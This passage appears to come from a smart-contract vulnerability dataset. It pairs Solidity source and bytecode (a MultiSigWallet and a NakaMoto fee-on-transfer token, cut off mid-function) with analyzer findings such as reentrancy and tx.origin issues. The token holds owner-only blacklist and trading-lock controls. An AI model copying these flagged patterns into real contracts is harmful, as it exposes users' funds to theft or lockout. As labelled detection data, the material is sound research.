531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600d805460ff60a81b1916600160a81b179055600061142b60646114258460556116a9565b90611728565b905060006114398284611ece565b6040805160028082526060820183529293504792600092602083019080368337019050509050308160008151811061147357611473611f16565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114c757600080fd5b505afa1580156114db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ff9190611ac6565b8160018151811061151257611512611f16565b6001600160a01b039283166020918202929092010152600c546115389130911687610b9a565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611571908790600090869030904290600401611e04565b600060405180830381600087803b15801561158b57600080fd5b505af115801561159f573d6000803e3d6000fd5b5050505060006115b8834761176a90919063ffffffff16565b90506115d3846115ce606461142585600f6116a9565b6117ac565b5050600d805460ff60a81b1916905550505050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069d573d6000803e3d6000fd5b80611638576116328484846112ca565b5061128a565b61128a848484611865565b6000806116508385611e75565b9050838110156116a25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062c565b9392505050565b6000826116b8575060006106b2565b60006116c48385611eaf565b9050826116d18583611e8d565b146116a25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062c565b60006116a283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061196a565b60006116a283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611290565b600c546117c49030906001600160a01b031684610b9a565b600c5460405163f305d71960e01b8152306004820152602481018490526000604482018190526064820181905260848201524260a48201526001600160a01b039091169063f305d71990839060c4016060604051808303818588803b15801561182c57600080fd5b505af1158015611840573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061083c9190611d4c565b60006118718483611998565b90506118d98260405180604001604052806014815260200173496e73756666696369656e742042616c616e636560601b81525060016000886001600160a01b03166001600160a01b03168152602001908152602001600020546112909092919063ffffffff16565b6001600160a01b0380861660009081526001602052604080822093909355908516815220546119089082611643565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061195c9085815260200190565b60405180910390a350505050565b6000818361198b5760405162461bcd60e51b815260040161062c9190611d7a565b5060006112c18486611e8d565b6000806119b56064611425600854866116a990919063ffffffff16565b306000908152600160205260409020549091506119d29082611643565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a239085815260200190565b60405180910390a3611a35838261176a565b949350505050565b8035611a4881611f42565b919050565b60008083601f840112611a5f57600080fd5b50813567ffffffffffffffff811115611a7757600080fd5b6020830191508360208260051b8501011115611a9257600080fd5b9250929050565b80358015158114611a4857600080fd5b600060208284031215611abb57600080fd5b81356116a281611f42565b600060208284031215611ad857600080fd5b81516116a281611f42565b60008060408385031215611af657600080fd5b8235611b0181611f42565b91506020830135611b1181611f42565b809150509250929050565b600080600060608486031215611b3157600080fd5b8335611b3c81611f42565b92506020840135611b4c81611f42565b929592945050506040919091013590565b60008060408385031215611b7057600080fd5b8235611b7b81611f42565b9150611b8960208401611a99565b90509250929050565b60008060408385031215611ba557600080fd5b8235611bb081611f42565b946020939093013593505050565b60008060008060408587031215611bd457600080fd5b843567ffffffffffffffff80821115611bec57600080fd5b611bf888838901611a4d565b90965094506020870135915080821115611c1157600080fd5b50611c1e87828801611a4d565b95989497509550505050565b60006020808385031215611c3d57600080fd5b823567ffffffffffffffff80821115611c5557600080fd5b818501915085601f830112611c6957600080fd5b813581811115611c7b57611c7b611f2c565b8060051b604051601f19603f83011681018181108582111715611ca057611ca0611f2c565b604052828152858101935084860182860187018a1015611cbf57600080fd5b600095505b83861015611ce957611cd581611a3d565b855260019590950194938601938601611cc4565b5098975050505050505050565b600060208284031215611d0857600080fd5b6116a282611a99565b600060208284031215611d2357600080fd5b5035919050565b60008060408385031215611d3d57600080fd5b50508035926020909101359150565b600080600060608486031215611d6157600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611da757858101830151858201604001528201611d8b565b81811115611db9576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e545784516001600160a01b031683529383019391830191600101611e2f565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611e8857611e88611f00565b500190565b600082611eaa57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ec957611ec9611f00565b500290565b600082821015611ee057611ee0611f00565b500390565b6000600019821415611ef957611ef9611f00565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610a4d57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122040d99dce8092d4c4f2c7084a8c6bc7f921c5ed015ac96ab31b7bc49fd21c1c6064736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,960 |
0x2f85e6449bcf407cf8a83f82bc006c97a5fc3ebb
|
pragma solidity ^0.4.13;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<span class="__cf_email__" data-cfemail="8efdfaebe8efe0a0e9ebe1fce9ebceede1e0fdebe0fdf7fda0e0ebfa">[email protected]</span>>
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed _sender, uint indexed _transactionId);
event Revocation(address indexed _sender, uint indexed _transactionId);
event Submission(uint indexed _transactionId);
event Execution(uint indexed _transactionId);
event ExecutionFailure(uint indexed _transactionId);
event Deposit(address indexed _sender, uint _value);
event OwnerAddition(address indexed _owner);
event OwnerRemoval(address indexed _owner);
event RequirementChange(uint _required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
throw;
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
throw;
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
throw;
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
throw;
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
throw;
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
throw;
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
throw;
_;
}
modifier notNull(address _address) {
if (_address == 0)
throw;
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
throw;
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
throw;
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filters are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x6060604052361561011a5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c27811461016a578063173825d91461019c57806320ea8d86146101bd5780632f54bf6e146101d55780633411c81c14610208578063547415251461023e5780637065cb481461026d578063784547a71461028e5780638b51d13f146102b85780639ace38c2146102e0578063a0e67e2b1461039f578063a8abe69a14610406578063b5dc40c31461047d578063b77bf600146104e7578063ba51a6df1461050c578063c01a8c8414610524578063c64274741461053c578063d74f8edd146105b3578063dc8452cd146105d8578063e20056e6146105fd578063ee22610b14610624575b6101685b60003411156101655733600160a060020a03167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3460405190815260200160405180910390a25b5b565b005b341561017557600080fd5b61018060043561063c565b604051600160a060020a03909116815260200160405180910390f35b34156101a757600080fd5b610168600160a060020a036004351661066e565b005b34156101c857600080fd5b61016860043561081f565b005b34156101e057600080fd5b6101f4600160a060020a0360043516610901565b604051901515815260200160405180910390f35b341561021357600080fd5b6101f4600435600160a060020a0360243516610916565b604051901515815260200160405180910390f35b341561024957600080fd5b61025b60043515156024351515610936565b60405190815260200160405180910390f35b341561027857600080fd5b610168600160a060020a03600435166109a5565b005b341561029957600080fd5b6101f4600435610ada565b604051901515815260200160405180910390f35b34156102c357600080fd5b61025b600435610b6e565b60405190815260200160405180910390f35b34156102eb57600080fd5b6102f6600435610bed565b604051600160a060020a03851681526020810184905281151560608201526080604082018181528454600260001961010060018416150201909116049183018290529060a08301908590801561038d5780601f106103625761010080835404028352916020019161038d565b820191906000526020600020905b81548152906001019060200180831161037057829003601f168201915b50509550505050505060405180910390f35b34156103aa57600080fd5b6103b2610c21565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103f25780820151818401525b6020016103d9565b505050509050019250505060405180910390f35b341561041157600080fd5b6103b260043560243560443515156064351515610c8a565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103f25780820151818401525b6020016103d9565b505050509050019250505060405180910390f35b341561048857600080fd5b6103b2600435610db8565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103f25780820151818401525b6020016103d9565b505050509050019250505060405180910390f35b34156104f257600080fd5b61025b610f3a565b60405190815260200160405180910390f35b341561051757600080fd5b610168600435610f40565b005b341561052f57600080fd5b610168600435610fce565b005b341561054757600080fd5b61025b60048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506110c095505050505050565b60405190815260200160405180910390f35b34156105be57600080fd5b61025b6110e0565b60405190815260200160405180910390f35b34156105e357600080fd5b61025b6110e5565b60405190815260200160405180910390f35b341561060857600080fd5b610168600160a060020a03600435811690602435166110eb565b005b341561062f57600080fd5b6101686004356112ac565b005b600380548290811061064a57fe5b906000526020600020900160005b915054906101000a9004600160a060020a031681565b600030600160a060020a031633600160a060020a031614151561069057600080fd5b600160a060020a038216600090815260026020526040902054829060ff1615156106b957600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156107b45782600160a060020a031660038381548110151561070357fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a031614156107a85760038054600019810190811061074457fe5b906000526020600020900160005b9054906101000a9004600160a060020a031660038381548110151561077357fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a031602179055506107b4565b5b6001909101906106dc565b6003805460001901906107c7908261150a565b5060035460045411156107e0576003546107e090610f40565b5b82600160a060020a03167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25b5b505b5050565b33600160a060020a03811660009081526002602052604090205460ff16151561084757600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff16151561087c57600080fd5b600084815260208190526040902060030154849060ff161561089d57600080fd5b6000858152600160209081526040808320600160a060020a033316808552925291829020805460ff1916905586917ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e9905160405180910390a35b5b505b50505b5050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b60055481101561099d57838015610963575060008181526020819052604090206003015460ff16155b806109875750828015610987575060008181526020819052604090206003015460ff165b5b15610994576001820191505b5b60010161093a565b5b5092915050565b30600160a060020a031633600160a060020a03161415156109c557600080fd5b600160a060020a038116600090815260026020526040902054819060ff16156109ed57600080fd5b81600160a060020a0381161515610a0357600080fd5b6003805490506001016004546032821180610a1d57508181115b80610a26575080155b80610a2f575081155b15610a3957600080fd5b600160a060020a0385166000908152600260205260409020805460ff191660019081179091556003805490918101610a71838261150a565b916000526020600020900160005b8154600160a060020a03808a166101009390930a8381029102199091161790915590507ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b50505b505b505b50565b600080805b600354811015610b665760008481526001602052604081206003805491929184908110610b0857fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610b4a576001820191505b600454821415610b5d5760019250610b66565b5b600101610adf565b5b5050919050565b6000805b600354811015610be65760008381526001602052604081206003805491929184908110610b9b57fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610bdd576001820191505b5b600101610b72565b5b50919050565b6000602081905290815260409020805460018201546003830154600160a060020a0390921692909160029091019060ff1684565b610c2961155e565b6003805480602002602001604051908101604052809291908181526020018280548015610c7f57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610c61575b505050505090505b90565b610c9261155e565b610c9a61155e565b600080600554604051805910610cad5750595b908082528060200260200182016040525b50925060009150600090505b600554811015610d4557858015610cf3575060008181526020819052604090206003015460ff16155b80610d175750848015610d17575060008181526020819052604090206003015460ff165b5b15610d3c5780838381518110610d2a57fe5b60209081029091010152600191909101905b5b600101610cca565b878703604051805910610d555750595b908082528060200260200182016040525b5093508790505b86811015610dac57828181518110610d8157fe5b906020019060200201518489830381518110610d9957fe5b602090810290910101525b600101610d6d565b5b505050949350505050565b610dc061155e565b610dc861155e565b6003546000908190604051805910610ddd5750595b908082528060200260200182016040525b50925060009150600090505b600354811015610ec05760008581526001602052604081206003805491929184908110610e2357fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610eb7576003805482908110610e6c57fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316838381518110610e9857fe5b600160a060020a03909216602092830290910190910152600191909101905b5b600101610dfa565b81604051805910610ece5750595b908082528060200260200182016040525b509350600090505b81811015610f3157828181518110610efb57fe5b90602001906020020151848281518110610f1157fe5b600160a060020a039092166020928302909101909101525b600101610ee7565b5b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515610f6057600080fd5b600354816032821180610f7257508181115b80610f7b575080155b80610f84575081155b15610f8e57600080fd5b60048390557fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a8360405190815260200160405180910390a15b5b50505b50565b33600160a060020a03811660009081526002602052604090205460ff161515610ff657600080fd5b6000828152602081905260409020548290600160a060020a0316151561101b57600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff161561104f57600080fd5b6000858152600160208181526040808420600160a060020a033316808652925292839020805460ff191690921790915586917f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef905160405180910390a36108f7856112ac565b5b5b50505b505b5050565b60006110cd84848461140b565b90506110d881610fce565b5b9392505050565b603281565b60045481565b600030600160a060020a031633600160a060020a031614151561110d57600080fd5b600160a060020a038316600090815260026020526040902054839060ff16151561113657600080fd5b600160a060020a038316600090815260026020526040902054839060ff161561115e57600080fd5b600092505b6003548310156112065784600160a060020a031660038481548110151561118657fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a031614156111fa57836003848154811015156111c557fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a03160217905550611206565b5b600190920191611163565b600160a060020a03808616600081815260026020526040808220805460ff199081169091559388168252908190208054909316600117909255907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b90905160405180910390a283600160a060020a03167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b505b505b505050565b600081815260208190526040812060030154829060ff16156112cd57600080fd5b6112d683610ada565b15610818576000838152602081905260409081902060038101805460ff19166001908117909155815490820154919450600160a060020a03169160028501905180828054600181600116156101000203166002900480156113785780601f1061134d57610100808354040283529160200191611378565b820191906000526020600020905b81548152906001019060200180831161135b57829003601f168201915b505091505060006040518083038185876187965a03f192505050156113c957827f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2610818565b827f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260038201805460ff191690555b5b5b5b505050565b600083600160a060020a038116151561142357600080fd5b600554915060806040519081016040908152600160a060020a0387168252602080830187905281830186905260006060840181905285815290819052208151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0391909116178155602082015181600101556040820151816002019080516114ae929160200190611582565b506060820151600391909101805460ff191691151591909117905550600580546001019055817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a25b5b509392505050565b81548183558181151161081857600083815260209020610818918101908301611601565b5b505050565b81548183558181151161081857600083815260209020610818918101908301611601565b5b505050565b60206040519081016040526000815290565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106115c357805160ff19168380011785556115f0565b828001600101855582156115f0579182015b828111156115f05782518255916020019190600101906115d5565b5b506115fd929150611601565b5090565b610c8791905b808211156115fd5760008155600101611607565b5090565b905600a165627a7a723058205cfc1cb1b85fe4b07187ee167dea27deec52b9816b5077ff8d0c72a821dd477e0029
|
{"success": true, "error": null, "results": {}}
| 3,961 |
0x7d0e66ef269137cf95481a12a68d9b7ee1aa2e9e
|
/**
*Submitted for verification at Etherscan.io on 2022-04-06
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract NakaMoto is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "NakaMoto";
string private constant _symbol = "NKM";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 21000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 5;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x015484Bf6d78551F1e8235B6a0837B2114439927);
address payable private _marketingAddress = payable(0x015484Bf6d78551F1e8235B6a0837B2114439927);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 210000 * 10**9;
uint256 public _maxWalletSize = 315000 * 10**9;
uint256 public _swapTokensAtAmount = 210 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
